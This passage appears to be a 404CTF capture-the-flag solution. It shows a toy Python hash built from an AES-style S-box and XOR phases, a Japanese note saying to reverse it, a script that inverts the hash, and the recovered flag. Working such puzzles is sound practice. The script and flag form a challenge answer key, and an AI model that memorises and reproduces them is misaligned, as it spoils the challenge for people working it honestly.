xor(a,b): res = "" for i in range(len(a)): res += str(int(a[i]) ^ int(b[i])) return res def sbox_ope(binary): for i in range(len(binary)): index = int(binary[i],2) binary[i] = sbox[index] def phase1(binary): m = int(len(binary) / 32) tmp = [] for i in range(0, len(binary), m): tmp.append(xor(binary[i], binary[i+1])) return tmp def phase2(binary): for i in range(1,len(binary)): for j in range(i): binary[i] = xor(binary[i], binary[j]) def bits2hex(binary): hex_str = "" for bit in binary: hex_str += format(int(bit, 2), '02x') return hex_str def h(m): plain = m binary = string2bits(plain) padding(binary) if len(binary) > 32: binary = phase1(binary) phase2(binary) phase2(binary) phase2(binary) sbox_ope(binary) hash_str = bits2hex(binary) return hash_str plain = "" if len(sys.argv) == 1: print("Aucun argument donné. Rien à hacher. Bye bye.") elif len(sys.argv) >= 2 : plain += sys.argv[1] for i in range(2,len(sys.argv)): plain += " " + str(sys.argv[i]) print(h(plain))
逆算する。
#!/usr/bin/env python3 sbox = ['01100011', '01111100', '01110111', '01111011', '11110010', '01101011', '01101111', '11000101', '00110000', '00000001', '01100111', '00101011', '11111110', '11010111', '10101011', '01110110', '11001010', '10000010', '11001001', '01111101', '11111010', '01011001', '01000111', '11110000', '10101101', '11010100', '10100010', '10101111', '10011100', '10100100', '01110010', '11000000', '10110111', '11111101', '10010011', '00100110', '00110110', '00111111', '11110111', '11001100', '00110100', '10100101', '11100101', '11110001', '01110001', '11011000', '00110001', '00010101', '00000100', '11000111', '00100011', '11000011', '00011000', '10010110', '00000101', '10011010', '00000111', '00010010', '10000000', '11100010', '11101011', '00100111', '10110010', '01110101', '00001001', '10000011', '00101100', '00011010', '00011011', '01101110', '01011010', '10100000', '01010010', '00111011', '11010110', '10110011', '00101001', '11100011', '00101111', '10000100', '01010011', '11010001', '00000000', '11101101', '00100000', '11111100', '10110001', '01011011', '01101010', '11001011', '10111110', '00111001', '01001010', '01001100', '01011000', '11001111', '11010000', '11101111', '10101010', '11111011', '01000011', '01001101', '00110011', '10000101', '01000101', '11111001', '00000010', '01111111', '01010000', '00111100', '10011111', '10101000', '01010001', '10100011', '01000000', '10001111', '10010010', '10011101', '00111000', '11110101', '10111100', '10110110', '11011010', '00100001', '00010000', '11111111', '11110011', '11010010', '11001101', '00001100', '00010011', '11101100', '01011111', '10010111', '01000100', '00010111', '11000100', '10100111', '01111110', '00111101', '01100100', '01011101', '00011001', '01110011', '01100000', '10000001', '01001111', '11011100', '00100010', '00101010', '10010000', '10001000', '01000110', '11101110', '10111000', '00010100', '11011110', '01011110', '00001011', '11011011', '11100000', '00110010', '00111010', '00001010', '01001001', '00000110', '00100100', '01011100', '11000010', '11010011', '10101100', '01100010', '10010001', '10010101', '11100100', '01111001', '11100111', '11001000', '00110111', '01101101', '10001101', '11010101', '01001110', '10101001', '01101100', '01010110', '11110100', '11101010', '01100101', '01111010', '10101110', '00001000', '10111010', '01111000', '00100101', '00101110', '00011100', '10100110', '10110100', '11000110', '11101000', '11011101', '01110100', '00011111', '01001011', '10111101', '10001011', '10001010', '01110000', '00111110', '10110101', '01100110', '01001000', '00000011', '11110110', '00001110', '01100001', '00110101', '01010111', '10111001', '10000110', '11000001', '00011101', '10011110', '11100001', '11111000', '10011000', '00010001', '01101001', '11011001', '10001110', '10010100', '10011011', '00011110', '10000111', '11101001', '11001110', '01010101', '00101000', '11011111', '10001100', '10100001', '10001001', '00001101', '10111111', '11100110', '01000010', '01101000', '01000001', '10011001', '00101101', '00001111', '10110000', '01010100', '10111011', '00010110'] def xor(a,b): res = '' for i in range(len(a)): res += str(int(a[i]) ^ int(b[i])) return res def rev_sbox_ope(binary): for i in range(len(binary)): index = sbox.index(binary[i]) binary[i] = bin(index)[2:].zfill(8) def hex2bit(hex_str): binary = [] for i in range(0, len(hex_str), 2): bit = bin(int(hex_str[i:i+2], 16))[2:].zfill(8) binary.append(bit) return binary def rev_phase2(binary): for i in range(len(binary) - 1, 0, -1): for j in range(i - 1, -1, -1): binary[i] = xor(binary[i], binary[j]) hash_str = '18f2048f7d4de5caabd2d0a3d23f4015af8033d46736a2e2d747b777a4d4d205' x = ['10101010', '01111011', '01110111', '01110111', '11010000', '01111100', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011', '01100011'] binary = hex2bit(hash_str) rev_sbox_ope(binary) rev_phase2(binary) rev_phase2(binary) rev_phase2(binary) flag = '' for bit in binary: flag += chr(int(bit, 2)) flag = flag.rstrip('\x00').rstrip('\x01') print(flag)
404CTF{yJ7dhDm35pLoJcbQkUygIJ}